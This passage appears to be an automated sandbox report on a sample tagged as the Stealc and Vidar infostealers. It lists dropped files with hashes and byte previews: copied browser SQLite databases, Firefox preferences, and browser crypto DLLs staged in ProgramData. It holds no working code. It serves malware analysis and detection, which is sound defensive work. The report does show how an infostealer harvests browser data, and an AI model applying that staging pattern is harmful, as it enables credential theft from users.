	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	2DpxPyeiUv.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	JVLkkfzSKW.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	X9d3758tok.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DAAAFBKE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2675012653818127
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMySA1LyKOMq+8iP5GDHP/0jMVum5:Kq+n0Jy91LyKOMq+8iP5GLP/0c
MD5:	D169E0EFCDCDEEAD546BFF3101852FBA
SHA1:	D07D5FB439D6D1BCE820EE0D716154B164EC4FA3
SHA-256:	786D2264585416C19AB9F16D99DB0ABDEF1BAF74690DED4374037BAA505A550C
SHA-512:	0AF99B8283D3D7398FBC4A6F5789367ADC9352FE87C5BEB58D4FE71F2165426EB410E19E15E078304A91A62079C6D90511FA5965F1E03C54367FBDE7425E7B43
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGHJKFHJJJKJJJJKEHCBGCGDAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIDGDAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCFCFCGCGIEHIECAFCFIJJKKFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJKJJDHCGCAECAAECFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAKJDAAFBKFHIEBFCFB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KEHCAFHIJECGCAKFCGDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JVLkkfzSKW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: X9d3758tok.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: KMfWqiiMu0.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 2DpxPyeiUv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: c6rXOlRx1y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: JVLkkfzSKW.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: X9d3758tok.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\36eb5cd6-08e2-43c4-9f1f-e1d8c279b7d5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44906
Entropy (8bit):	6.095768942131799
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWiyi1zNt6ivtNUvpjgfFpkKJDSgzMMd6qD47u3+CiB:+/Ps+wsI7ynLtGKtSmd6qE7lFoC
MD5:	1C6037061CDF107F58EFFDC284EC8DE7
SHA1:	E45585589F08198EF9A6BE024C1CB2AA86BB74CF
SHA-256:	B6139466034C87BBAA838BA890470B021332A36211172715D68B8C535649E7B6
SHA-512:	4E54245DB616D3C899A025E4D7AB5102E7BC812E8AFDA6F616B97226DDAB2446EB986DF69E5DC43C9D3BE1C0EEA13F6658C12F1ADFEA21735AF2F1B525471674
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\517eb8fc-8d23-492e-b2b0-da921c65c488.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089814985112276
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWEdi1zNtPMLkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynsIkzItSmd6qE7lFoC
MD5:	0AEE37BE52317F3918355B30704DBFD0
SHA1:	C2551C204226E4CFD932DA3B856281DA04515700
SHA-256:	A6FEC2FC8608E1E7C0C87F3525C2E2035CFF170EF27CB7FB058AF13C6628D221
SHA-512:	624369E63B9B6FAD4EA5E28A462010584C87575AEE00A7320E3BDF85C4C8F7B0946094A95779B488D4839820E4A8C54C08D3382F6C3E3578ADC35B89B8C68DD9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\da6f519f-6cc4-4fd8-bd31-22ffa0c76eda.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640135461872496
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7x:fwUQC5VwBIiElEd2K57P7x
MD5:	19DB9AF7D3FDB56FDD8CB17DB154752C
SHA1:	FC38FEED3175DB5F9C8C17DA55B594B7875D0F92
SHA-256:	9033818BAA03976518D89725A48837BDB1B8876927163DAE2ED48A2226AA6ABE
SHA-512:	5A32D07505128BF3DB8A1D2E51F43B502C7270CC3F656126981597DB2676C3DA465C34D1A2DDB965C6F79C9F809824DCA794014D77B53EDB948602DEB8575D6C
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
